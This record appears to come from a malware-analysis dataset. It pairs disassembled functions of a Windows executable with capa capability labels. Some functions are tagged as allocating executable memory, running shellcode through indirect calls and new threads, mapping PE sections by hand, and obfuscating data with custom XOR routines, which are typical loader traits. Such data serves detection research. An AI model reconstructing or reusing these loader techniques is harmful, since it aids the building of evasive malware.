joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402f98
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403ec4
test esi, esi
jne 0x402fce
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403fb4
jmp 0x402fec
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402e9c
mov edi, eax
test esi, esi
je 0x402fec
cmp dword [ebx], 0
je 0x402fec
dec esi
jmp 0x402fd5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403020
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x41d008], 0x8088405
inc edx
mov dword [ebx + 0x41d008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4032c4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x41d01c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40335c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40333c
xor eax, eax
push ebp
push 0x403335
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403378
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40333c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x41d01c]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x41d01c], ax
mov esp, ebp
pop ebp
ret

Function at 0x403d44
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x43e044], 0
je 0x403da5
cmp word [0x43e218], 0xd7b2
jne 0x403d6d
cmp dword [0x43e220], 0
jbe 0x403d6d
mov eax, 0x43e214
call dword [0x43e230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41d758
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403dcc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41d02c], 0
jne 0x403dc1
push 0
push 0x41d750
push 0x41d758
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x406b7c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.0040430c
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x406b95
test al, 0x10
je 0x406b99
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x408da0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, eax
mov edi, dword [ebx + 0x24]
mov esi, dword [ebx + 0x34]
sub esi, dword [ebx + 0x6c]
sub esi, dword [ebx + 0x64]
test esi, esi
jne 0x408dc9
cmp dword [ebx + 0x64], 0
jne 0x408dc9
cmp dword [ebx + 0x6c], 0
jne 0x408dc9
mov esi, edi
jmp 0x408e55
cmp esi, 0xffffffff
jne 0x408dd4
dec esi
jmp 0x408e55
mov eax, dword [ebx + 0x64]
lea edx, [edi + edi]
sub edx, 0x106
cmp eax, edx
jb 0x408e55
mov eax, dword [ebx + 0x30]
lea edx, [eax + edi]
mov ecx, edi
call fcn.004083b8
sub dword [ebx + 0x68], edi
sub dword [ebx + 0x64], edi
sub dword [ebx + 0x54], edi
mov eax, dword [ebx + 0x44]
mov edx, dword [ebx + 0x3c]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x408e1d
movzx ecx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x408e22
mov word [edx], 0
dec eax
test eax, eax
jne 0x408e03
mov eax, edi
mov edx, dword [ebx + 0x38]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x408e49
movzx ecx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x408e4e
mov word [edx], 0
dec eax
test eax, eax
jne 0x408e2f
add esi, edi
mov eax, dword [ebx]
cmp dword [eax + 4], 0
je 0x408eb3
mov edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
mov ecx, dword [ebx + 0x30]
lea edx, [ecx + edx]
mov ecx, esi
call fcn.00408b18
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x408e9e
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x30]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x408eb3
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x408da9
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40d980
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0x441920
mov eax, ebx
mov edx, 8
test al, 1
je 0x40d99c
shr eax, 1
xor eax, 0xedb88320
jmp 0x40d99e
shr eax, 1
dec edx
jne 0x40d98f
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x40d988
pop ebx
ret

Function at 0x40d9b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004042fc
xor eax, eax
push ebp
push 0x40da27
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x40d9e2
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x40da0f
mov edx, 1
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + edx - 1]
mov esi, ebx
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x441920]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x40d9eb
not ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40da2e
lea eax, [ebp - 4]
call fcn.00403ec4
ret
Function at 0x40da38
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x40da68
inc edx
xor ecx, ecx
movzx esi, byte [ebx + ecx]
mov edi, eax
and edi, 0xff
xor esi, edi
mov esi, dword [esi*4 + 0x441920]
shr eax, 8
xor esi, eax
mov eax, esi
inc ecx
dec edx
jne 0x40da48
not eax
pop edi
pop esi
pop ebx
ret

Function at 0x40da70
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x40daa0
inc edx
xor ecx, ecx
movzx esi, byte [ebx + ecx]
mov edi, eax
and edi, 0xff
xor esi, edi
mov esi, dword [esi*4 + 0x441920]
shr eax, 8
xor esi, eax
mov eax, esi
inc ecx
dec edx
jne 0x40da80
not eax
pop edi
pop esi
pop ebx
ret

Function at 0x40dcd4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004042fc
xor eax, eax
push ebp
push 0x40de3f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00403ec4
mov eax, dword [ebp - 4]
test eax, eax
je 0x40dd0e
sub eax, 4
mov eax, dword [eax]
mov edi, eax
test edi, edi
je 0x40de29
mov eax, dword [ebp - 4]
call fcn.0040d9b4
mov dword [ebp - 0xc], eax
lea edx, [edi + 4]
lea eax, [ebp - 4]
call fcn.0040459c
lea eax, [ebp - 4]
call fcn.0040436c
lea edx, [eax + edi]
lea eax, [ebp - 0xc]
mov ecx, 4
call fcn.00402d9c
mov eax, dword [ebp - 4]
test eax, eax
je 0x40dd52
sub eax, 4
mov eax, dword [eax]
mov edi, eax
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x10], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0xf], al
mov eax, ebx
shr eax, 8
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], bl
dec esi
cmp esi, 0
jl 0x40de1e
mov dword [ebp - 8], esi
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx]
movzx ecx, byte [ebp - 0xf]
add dl, cl
mov byte [eax], dl
mov esi, edi
sub esi, 2
jl 0x40ddc7
inc esi
mov ebx, 2
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 2]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 1]
add dl, cl
movzx ecx, byte [ebp - 0xd]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x40dd9f
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
movzx ecx, byte [ebp - 0x10]
add dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
dec ebx
cmp ebx, 1
jl 0x40de11
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 1]
add dl, cl
movzx ecx, byte [ebp - 0xe]
xor dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
test ebx, ebx
jne 0x40dde9
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x40dd7c
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.00403f18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40de46
lea eax, [ebp - 4]
call fcn.00403ec4
ret
Function at 0x40de50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004042fc
xor eax, eax
push ebp
push 0x40dfa8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00403ec4
mov eax, dword [ebp - 4]
test eax, eax
je 0x40de8a
sub eax, 4
mov eax, dword [eax]
mov edi, eax
test edi, edi
je 0x40df92
mov eax, esi
shr eax, 0x18
mov byte [ebp - 0xc], al
mov eax, esi
shr eax, 0x10
mov byte [ebp - 0xb], al
mov eax, esi
shr eax, 8
mov byte [ebp - 0xa], al
mov eax, esi
mov byte [ebp - 9], al
dec ebx
cmp ebx, 0
jl 0x40df59
mov dword [ebp - 8], ebx
mov esi, edi
dec esi
test esi, esi
jle 0x40deee
mov ebx, 1
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dl, byte [ebp - 0xa]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx]
sub dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x40deca
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
movzx ecx, byte [ebp - 0xc]
sub dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
cmp ebx, 2
jl 0x40df36
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dl, byte [ebp - 9]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 2]
sub dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
cmp ebx, 1
jne 0x40df0f
lea eax, [ebp - 4]
call fcn.0040436c
mov edx, dword [ebp - 4]
movzx edx, byte [edx]
movzx ecx, byte [ebp - 0xb]
sub dl, cl
mov byte [eax], dl
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x40debe
lea eax, [ebp - 4]
call fcn.0040436c
mov ebx, edi
sub ebx, 4
mov edx, ebx
call fcn.0040da38
mov esi, eax
lea eax, [ebp - 4]
call fcn.0040436c
add eax, ebx
cmp esi, dword [eax]
jne 0x40df92
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.00403f18
mov edx, ebx
mov eax, dword [ebp + 8]
call fcn.0040459c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dfaf
lea eax, [ebp - 4]
call fcn.00403ec4
ret

Function at 0x40e794
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov byte [esp], dl
mov ebp, eax
mov dword [esp + 4], 0x1c
xor edx, edx
mov eax, 4
call fcn.0040e4e0
mov edi, eax
lea eax, [esp + 4]
push eax
push edi
call fcn.0040e500
jmp 0x40e81a
cmp ebp, dword [esp + 0x10]
jne 0x40e81a
call sub.kernel32.dll_GetCurrentThreadId_1
cmp eax, dword [esp + 0xc]
je 0x40e81a
mov eax, dword [esp + 0xc]
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov esi, eax
cmp byte [esp], 0
je 0x40e800
xor ebx, ebx
jmp 0x40e7ef
inc ebx
push esi
call sub.kernel32.dll_ResumeThread
test eax, eax
je 0x40e814
cmp ebx, 0x64
jle 0x40e7ee
jmp 0x40e814
xor ebx, ebx
jmp 0x40e805
inc ebx
push esi
call sub.kernel32.dll_SuspendThread
test eax, eax
jbe 0x40e814
cmp ebx, 0x64
jle 0x40e804
push esi
call sub.kernel32.dll_CloseHandle
lea eax, [esp + 4]
push eax
push edi
call fcn.0040e524
test eax, eax
jne 0x40e7c3
push edi
call sub.kernel32.dll_CloseHandle
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40e838
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffd8
mov esi, eax
test esi, esi
je 0x40e945
push 0x40e94c
call sub.kernel32.dll_GetModuleHandleA
mov ebx, eax
mov dword [esp], esi
push 0x40e95c
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 8], eax
push 0x40e96c
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0xc], eax
push 0x40e97c
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x10], eax
push 0x40e988
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x14], eax
push 0x40e99c
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x18], eax
push 0x40e9b0
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x1c], eax
push 0x40e9bc
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x20], eax
push 0x40e9cc
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x24], eax
mov edi, fcn.0040e6d4
sub edi, 0x40e5b8
push 0x40
push 0x3000
push 0x28
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
je 0x40e945
mov edx, esp
mov ecx, 0x28
mov eax, ebx
call fcn.004058a0
push 0x40
push 0x3000
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
test esi, esi
je 0x40e945
mov edx, 0x40e5b8
mov ecx, edi
mov eax, esi
call fcn.004058a0
mov eax, dword [esp]
call fcn.0040e6d4
call sub.kernel32.dll_GetCurrentProcessId
xor edx, edx
call fcn.0040e794
mov eax, ebx
call esi
call sub.kernel32.dll_GetCurrentProcessId
mov dl, 1
call fcn.0040e794
add esp, 0x28
pop edi
pop esi
pop ebx
ret

Function at 0x40ea10
Capabilities:
Parse pe header

Disassembly:
push ebx
xor edx, edx
mov ebx, eax
mov ecx, ebx
mov ebx, dword [ebx + 0x3c]
add ebx, eax
mov eax, ebx
cmp word [ecx], 0x5a4d
jne 0x40ea48
cmp dword [eax], 0x4550
jne 0x40ea48
movzx ecx, word [eax + 0x14]
cmp ecx, 0xe0
jne 0x40ea48
movzx eax, word [eax + 0x16]
and ax, 2
cmp ax, 2
sete dl
mov eax, edx
pop ebx
ret
Function at 0x40eafc
Capabilities:
Allocate or change rwx memory
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp], eax
xor edi, edi
mov eax, dword [esp]
call fcn.0040ea10
test al, al
je 0x40eba2
mov eax, dword [esp]
call fcn.0040e9e0
test eax, eax
je 0x40eba2
mov edx, dword [esp]
mov ebx, dword [edx + 0x3c]
add ebx, dword [esp]
lea esi, [ebx + 0x18]
movzx edx, word [ebx + 0x14]
add esi, edx
push 0x40
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40eba2
mov ecx, dword [esi + 0x14]
mov edx, dword [esp]
mov eax, dword [esp + 4]
call fcn.004058a0
movzx ebp, word [ebx + 6]
dec ebp
test ebp, ebp
jb 0x40eb9e
inc ebp
xor ebx, ebx
lea edi, [ebx + ebx*4]
mov edx, dword [esi + edi*8 + 0xc]
mov eax, dword [esp + 4]
call fcn.0040e9d8
mov dword [esp + 8], eax
mov edx, dword [esi + edi*8 + 0x14]
mov eax, dword [esp]
call fcn.0040e9d8
mov ecx, dword [esi + edi*8 + 0x10]
mov edx, eax
mov eax, dword [esp + 8]
call fcn.004058a0
inc ebx
dec ebp
jne 0x40eb6b
mov edi, dword [esp + 4]
mov eax, edi
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40ee2c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x40eebc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x1000
push 0x104
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
push 0x104
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004040bc
mov edx, dword [ebp - 4]
mov eax, 0x40eed4
call fcn.00404458
test eax, eax
jle 0x40ee9c
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004040bc
mov edx, dword [ebp - 8]
mov eax, 0x40eee0
call fcn.00404458
test eax, eax
jg 0x40eea1
mov ebx, 0x40eee4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40eec3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403ee8
ret
Function at 0x40ef30
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x40f02a
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0040eafc
mov esi, eax
test esi, esi
jne 0x40ef71
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40f034
mov eax, esi
call fcn.0040ebac
mov eax, esi
call fcn.0040ec34
test al, al
jne 0x40ef90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40f034
mov ebx, esi
mov dword [ebx + 0x4c], 0xbc610f
mov eax, dword [0x4407f0]
push eax
call fcn.0040ee2c
mov dword [ebx + 0x40], eax
cmp dword [ebp + 0xc], 0
jne 0x40efd4
mov dword [ebx + 0x44], edi
push 0x40
push 0x1000
mov eax, dword [ebx + 0x44]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x48]
mov ecx, edi
mov edx, dword [ebp - 4]
call fcn.004058a0
jmp 0x40effa
mov edi, dword [ebp + 0xc]
mov dword [ebx + 0x44], edi
push 0x40
push 0x1000
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x48]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
call fcn.004058a0
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push 0x40eee8
push 0
push 0
call sub.kernel32.dll_CreateThread
cmp byte [ebp + 8], 0
je 0x40f01d
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [ebp - 0xc], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40f034
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40f900
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
xor ecx, ecx
mov edx, 0x40
call fcn.004030ec
ret
Function at 0x40fadc
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004042fc
xor eax, eax
push ebp
push 0x40fbb0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, 0x10
call fcn.004030ec
push 0
push 0x8000080
push 3
push 0
push 2
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.0040430c
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40fb9a
push 0
push 0
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
je 0x40fb94
push 0
push 0
push 0
push 4
push esi
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
test edi, edi
je 0x40fb8e
lea eax, [ebp - 0x60]
call fcn.0040f900
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov ecx, eax
lea eax, [ebp - 0x60]
mov edx, edi
call fcn.0040f938
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x60]
call fcn.0040f9bc
push edi
call sub.kernel32.dll_UnmapViewOfFile
push esi
call sub.kernel32.dll_CloseHandle
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fbb7
lea eax, [ebp - 4]
call fcn.00403ec4
ret

Function at 0x4103c8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
xor esi, esi
xor ecx, ecx
mov ebx, edx
add ebx, ebx
add ebx, ebx
add ebx, ecx
lea ebx, [eax + ebx*4]
movzx ebx, byte [ebx + esi + 0x27]
lea edi, [eax + esi*4]
xor byte [edi + ecx + 0x117], bl
inc ecx
cmp ecx, 4
jne 0x4103cf
inc esi
cmp esi, 4
jne 0x4103cd
pop edi
pop esi
pop ebx
ret
Function at 0x4103fc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 5]
dec eax
test eax, eax
jl 0x410446
inc eax
mov dword [esp + 4], eax
xor esi, esi
mov eax, esi
add eax, eax
add eax, eax
movzx edx, byte [ebx + eax + 7]
mov byte [ebx + esi*4 + 0x27], dl
movzx edx, byte [ebx + eax + 8]
mov byte [ebx + esi*4 + 0x28], dl
movzx edx, byte [ebx + eax + 9]
mov byte [ebx + esi*4 + 0x29], dl
movzx eax, byte [ebx + eax + 0xa]
mov byte [ebx + esi*4 + 0x2a], al
inc esi
dec dword [esp + 4]
jne 0x410415
movzx esi, byte [ebx + 5]
movzx eax, byte [ebx + 4]
movzx edx, byte [ebx + 6]
inc edx
imul edx
dec eax
sub eax, esi
jl 0x410546
inc eax
mov dword [esp + 4], eax
xor ecx, ecx
mov eax, esp
lea edx, [ebx + esi*4]
movzx edx, byte [edx + ecx + 0x23]
mov byte [eax], dl
inc ecx
inc eax
cmp ecx, 4
jne 0x410467
movzx eax, byte [ebx + 5]
push eax
mov eax, esi
pop edx
mov ecx, edx
cdq
idiv ecx
test edx, edx
jne 0x4104e4
lea eax, [esp + 2]
push eax
lea eax, [esp + 7]
push eax
lea ecx, [esp + 9]
lea edx, [esp + 8]
mov eax, ebx
call fcn.004107fc
lea eax, [esp + 2]
push eax
lea eax, [esp + 7]
push eax
lea ecx, [esp + 9]
lea edx, [esp + 8]
mov eax, ebx
call fcn.00410770
mov ecx, 4
mov ebp, 0x41e99c
mov edi, esp
movzx eax, byte [ebx + 5]
push eax
mov eax, esi
pop edx
push ecx
mov ecx, edx
cdq
idiv ecx
pop ecx
movzx eax, byte [ebp + eax*4]
xor byte [edi], al
inc edi
inc ebp
dec ecx
jne 0x4104c7
jmp 0x410517
movzx ecx, byte [ebx + 5]
cmp cl, 6
jbe 0x410517
movzx eax, cl
push eax
mov eax, esi
pop edx
mov ecx, edx
cdq
idiv ecx
cmp edx, 4
jne 0x410517
lea eax, [esp + 2]
push eax
lea eax, [esp + 7]
push eax
lea ecx, [esp + 9]
lea edx, [esp + 8]
mov eax, ebx
call fcn.00410770
xor ecx, ecx
mov eax, esp
movzx edx, byte [ebx + 5]
mov edi, esi
sub edi, edx
lea edx, [ebx + edi*4]
movzx edx, byte [edx + ecx + 0x27]
xor dl, byte [eax]
lea edi, [ebx + esi*4]
mov byte [edi + ecx + 0x27], dl
inc ecx
inc eax
cmp ecx, 4
jne 0x41051b
inc esi
dec dword [esp + 4]
jne 0x410463
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x410550
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov edi, 0x41e89c
xor ecx, ecx
xor edx, edx
lea eax, [esi + ecx*4]
movzx eax, byte [eax + edx + 0x117]
mov ebx, eax
and bl, 0xf
movzx ebx, bl
movzx eax, al
shr eax, 4
add eax, eax
lea eax, [edi + eax*8]
movzx eax, byte [eax + ebx]
lea ebx, [esi + ecx*4]
mov byte [ebx + edx + 0x117], al
inc edx
cmp edx, 4
jne 0x41055e
inc ecx
cmp ecx, 4
jne 0x41055c
pop edi
pop esi
pop ebx
ret